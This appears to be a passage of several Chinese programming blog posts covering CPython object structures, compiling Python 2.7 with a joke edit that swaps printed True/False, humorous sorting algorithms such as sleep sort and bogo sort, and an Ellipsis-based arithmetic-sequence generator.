在 PyObject 中，ob_refcnt 用以记录对象的引用数（与引用计数的内存回收相关，这里暂且不表），当有新的指针指向某对象时，ob_refcnt 的值加 1， 当指向某对象的指针删除时，ob_refcnt 的值减 1，当其值为零的时候，则可以将该对象从堆中删除（事实上并不会立即删除，这里暂且不表）。除了 ob_refcnt 之外，还有一个 指向 _typeobject 指针 ob_type。这个结构体用于表示对象类型。跳过 _typeobject，可以发现， Python 对象的核心在于一个引用计数和一个类型信息。

PyObject 定义的内容会出现在每个对象所占内存的开始部分。

定长对象与变长对象

在 Python 中，除了 bool float 这样的定长对象（一旦确定下来需要的内存，便不再有改动），还有另外一种对象：长度可变的对象。这种对象在 Python 的实现中通过 PyVarObject 结构体来表示：

1
2
3
4
5
6
7

#define PyObject_VAR_HEAD               \
    PyObject_HEAD                       \
    Py_ssize_t ob_size; /* Number of items in variable part */

typedef struct {
    PyObject_VAR_HEAD
} PyVarObject;

事实上，就是在 PyObject 的基础上，多了一个 ob_size 变量，用以标识对象的长度（是长度，不是内存占用）。也就是说，其实 PyVarObject 就是 PyObject 的一个拓展，于是，在 Python 中，所有的对象都可以通过 PyObject * 指针来引用，这一点非常重要，它使得很多操作变得统一（这篇博客暂不详述）。

由此，Python 中所有对象在实现的时候，内存无非如下两种情况：

1
2
3
4
5
6
7
8
9
10
11
12

   定长对象              变长对象
+-----------+       +-----------+
| ob_refcnt |       | ob_refcnt |
+-----------+       +-----------+
|  ob_type  |       |  ob_type  |
+-----------+       +-----------+
|           |       |  ob_size  |
|           |       +-----------+
|   other   |       |           |
|           |       |   other   |
|           |       |           |
+-----------+       +-----------+

道生一：PyTypeObject

在描述 PyObject 的时候，提到了一个 _typeobject 结构体。那么，它是干什么的呢？想象一下，一个对象在创建的时候需要多少内存、这个对象的类名是什么等等信息，又是如何记录和区分的呢？

_typeobject（也就是PyTypeObject）可以被称之为“指定对象类型的类型对象”，其定义如下：

1
2
3
4
5
6
7
8

typedef struct _typeobject {
    PyObject_VAR_HEAD
    const char *tp_name; /* For printing, in format "<module>.<name>" */
    Py_ssize_t tp_basicsize, tp_itemsize; /* For allocation */

    // ...... 省略部分暂时不关心的内容

} PyTypeObject;

可以理解为，PyTypeObject 对象是 Python 中面向对象理念中“类”这个概念的实现，这里只是简单介绍其定义中的部分内容：

• ty_name：类型名
• tp_basicsize, tp_itemsize：创建类型对象时分配的内存大小信息
• 被省略掉的部分：与该类型关联的操作（函数指针）

这里只是简单描述，上面的内容有些偏颇，暂不必过分深究。

再看一眼 PyTypeObject 的定义，可以发现在最开始也有一个 PyObject_VAR_HEAD，这意味着它也是一个对象。那么，PyTypeObject 既然是指示类型的对象，那么它的类型又是什么呢？答案是 PyType_Type：

1
2
3
4
5
6
7
8

PyTypeObject PyType_Type = {
    PyVarObject_HEAD_INIT(&PyType_Type, 0)
    "type",                                     /* tp_name */
    sizeof(PyHeapTypeObject),                   /* tp_basicsize */
    sizeof(PyMemberDef),                        /* tp_itemsize */
    (destructor)type_dealloc,                   /* tp_dealloc */
    // ...... 省略了部分内容
};

事实上，它就是 Python 语言中的 type 对象就是 PyType_Type，它是所有 class 的 class，在 Python 中叫做 metaclass。其实，在实现中它的 ob_type 指针又指向了自己本身，既是：

1
2
3
4
5
6
7
8
9
10

   PyType_Type
+-----------+<-------+
| ob_refcnt |        |
+-----------+        |
|  ob_size  +--------+
+-----------+
|           |
|   other   |
|           |
+-----------+

小结

简单概述了 Python 中的对象的最模糊的概念。

首先去官网下载源码，地址：源码下载。下载完成之后，解压源码：

1

tar -zxvf Python-2.7.12.tgz

可以看到目录结构如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

.
├── aclocal.m4
├── config.guess
├── config.sub
├── configure
├── configure.ac
├── Demo
├── Doc
├── Grammar
├── Include
├── install-sh
├── Lib
├── LICENSE
├── Mac
├── Makefile.pre.in
├── Misc
├── Modules
├── Objects
├── Parser
├── PC
├── PCbuild
├── pyconfig.h.in
├── Python
├── README
├── RISCOS
├── setup.py
└── Tools

其中，我们比较关注的几个目录是：

• Include： 这个目录包括了 Python 的所有头文件。
• Lib：这里是 Python 标准库，都是用 Python 实现的。
• Modules：用 C 语言编写的模块，比如 cStringIO / tkinter 等。
• Objects：Python 内建对象，如 int / list 等。
• Python：Python 解释器的 Compiler 和执行引擎。
• Parser：Python 解释器的 Scanner 和 Parser。

我并不只是想尝试简单的通过源码编译安装，那么，在编译之前，我们先对它做一点小小的改动吧。今天先不做太复杂的事情，尝试一下“颠倒黑白”吧。所谓颠倒黑白，就是在输出（只有输出时）bool 型变量时，将 True/False 对调。关于输出 bool 变量的 C 语言实现，在 Objects/boolobject.c 的第 7-14 行，如下：

1
2
3
4
5
6
7
8

 static int
bool_print(PyBoolObject *self, FILE *fp, int flags)
{
    Py_BEGIN_ALLOW_THREADS
    fputs(self->ob_ival == 0 ? "False" : "True", fp);
    Py_END_ALLOW_THREADS
    return 0;
}

可以看出，对于输出 True 还是 False 的判断是用三元运算符 self->ob_ival == 0 ? "False" : "True"，那么，其实改动就非常容易了：

1

fputs(self->ob_ival != 0 ? "False" : "True", fp);

将比较运算符做一点小改动，就“颠倒黑白”啦。然后执行：

1
2
3

./configure --prefix=/path/u/what/to/install
make
make install

第一条命令的 --prefix= 后面是你想要安装的位置，你可以自行调整。等待运行完毕，就安装好啦，进入指定的目录，目录结构如下：

1
2
3
4
5

.
├── bin
├── include
├── lib
└── share

想要运行的话，执行 bin/python 即可，你也可以将其加入到 PATH 中，不过还是不建议去搞乱系统那个。好了，用我们自己编译的解释器执行几条语句吧：

1
2
3
4
5
6
7
8
9
10
11

>>> print True
False

>>> print False
True

>>> print 3 > 5       
True

>>> print 1 == 2
True

很明显，已经“颠倒黑白”啦。

意大利面条排序(Spaghetti Sort)

　　意大利面条排序(Spaghetti Sort)的思路是，将输入分别对应到不同长度的面条上，每根面条的长度即为对应的数字的大小。比如，对于[1, 4, 2, 8, 9]这个输入，则分别做出长度为1cm、4cm、2cm、8cm、9cm的面条。然后，将这些面条的一头对其，用手抓住，另一头向下。然后慢慢地将手向下垂直下降，第一个触碰到桌面的面条对应的数字则为最大的数字，第二个触碰到的就是第二大的，依次类推。

睡眠排序(Sleep Sort)

　　睡眠排序(Sleep Sort)可以认为是意大利面条排序的计算机实现。它的算法思路是：对于输入数组array，开辟array.length个线程，对于数组中的每个元素，则对应一个线程，这个线程在睡眠所表示数字的长度之后，再将自己所对应的数字报出来即可。比如对于上面的输入[1, 4, 2, 8, 9]，则开辟5个线程，分别睡眠1s、4s、2s、8s、9s。这个算法虽然不太可能应用到真实开发中，不过却真的可以通过代码实现：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

#!/usr/bin/env python
# encoding=utf-8

from multiprocessing.dummy import Pool as ThreadPool
from time import sleep

def sleep_sort(array):
    rst_list = []

    def task(n):
        sleep(n / 1000.)
        rst_list.append(n)

    pool = ThreadPool(len(array))
    pool.map(task, array)
    pool.close()
    pool.join()

    return rst_list


if __name__ == '__main__':
    print sleep_sort([10, 4, 7, 2, 1, 5, 9, 8, 3, 6])

猴子排序(Bogo Sort)

　　如下关于猴子排序(Bogo Sort)的描述摘自维基百科：

在计算机科学中，Bogo排序（Bogo-Sort）是个既不实用又原始的排序算法，其原理等同将一堆卡片抛起，落在桌上后检查卡片是否已整齐排列好，若非就再抛一次。其名字源自Quantum bogodynamics，又称bozo sort、blort sort或猴子排序（参见无限猴子定理）。

　　所谓无限猴子定理，即是：让一只猴子在打字机上随机地按键，当按键时间达到无穷时，几乎必然能够打出任何给定的文字，比如莎士比亚的全套著作。

　　猴子排序的Python实现如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

from random import shuffle
from itertools import izip, tee

def in_order(array):
    it1, it2 = tee(array)
    it2.next()
    return all(a<=b for a,b in izip(it1, it2))

def bogo_sort(array):
    while not in_order(array):
        shuffle(array)


if __name__ == '__main__':
    print bogo_sort([10, 4, 1, 5, 9, 8, 3, 6])

　　如果传入的是已排序的数组，猴子排序可以直接返回结果。如果不是已排序的数组，猴子排序的平均时间复杂度为O(n*n!)，最优情况下只需要一次shuffle操作，但是最差情况下则需要无限久的时间。所以，这种排序算法，基本大家就在吹牛的时候说说就好了，写在代码里，基本上就是分分钟被打死的后果。

量子猴排(Quantum Bogo Sort)

　　量子猴排(Quantum Bogo Sort)可以算是概念上对猴子排序的一种优化：洗牌的时候，使用量子化随机排列（quantumly randomized）。这样的话，我们在观测这组数之前，这组数的状态是叠加的，参见Schrรถdinger’s cat。通过这种量子化随机排列，我们划分出来了个平行宇宙。接下来，在某个宇宙A中，观测一下这组数，发现运气不好，没有排序好，那么我们就销毁掉这个宇宙。然后再看看其他宇宙的运气怎么样。终于，在一个宇宙Z中，发现刚好是排好序的数组。那么我们就保留这个宇宙。最后，没有被销毁的宇宙中，数组都是恰好一次被排好序的。

　　量子猴排的时间复杂度是O(n)。

小结

　　几种无用蛋疼但是有趣的排序算法~~~

想象这样一个问题：

如何优雅地生成一个等差数组？比如输入一个序列的第一、第二项以及最后一项，然后返回这个等差数组。

这里指的优雅并不是实现代码上，而是调用方式优雅。那么，在具体实现之前，我们先看一眼调用的方式吧：

1
2
3
4
5
6
7

In [1]: gen = SeqGenerator()

In [2]: gen[1, 2, ..., 9]
[1, 2, 3, 4, 5, 6, 7, 8, 9]

In [3]: gens[20, 16, ..., 0]
[20, 16, 12, 8, 4, 0]

有意思吧，这样直观的方式调用，简单明了。下面简单聊聊实现原理吧。

其实，在 object 对象中，有一个 __getitem__ 方法。你可以做如下测试：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

In [1]: class Test(object):
   ....:     def __getitem__(self, item):
   ....:         print item

In [2]: t = Test()

In [2]: t[1]
1

In [3]: t['what the fuck']
what the fuck

In [4]: t[:]
slice(None, None, None)

In [5]: t[1: 10]
slice(1, 10, None)

In [6]: t[1:3:5]
slice(1, 3, 5)

In [7]: t[1, 2]
(1, 2)

In [8]: t[1, 2, ..., 5]
(1, 2, Ellipsis, 5)

可以看到，第八行的调用方式与上面产生等差数列的方式基本是一样的了，但是返回的内容( Test 中事实上并没有返回，只是直接 print 了)不同，多了一个 Ellipsis。

那么，对应上面的 SeqGenerator 的实现就一目了然了：

1
2
3
4
5

class SeqGenerator(object):
    def __getitem__(self, item):
        if not (isinstance(item, tuple) and len(item) == 4 and item[2] is Ellipsis):
            raise RuntimeError('what the fuck')
        return range(item[0], (item[-1]+1, item[-1]-1)[item[0]>item[1]], item[1]-item[0])

然后就可以愉快地按照上面的示例一样调用啦。当然，上面的实现比较简单，没有完整地考虑到各种情况，如果你愿意，可以自行解决之~~~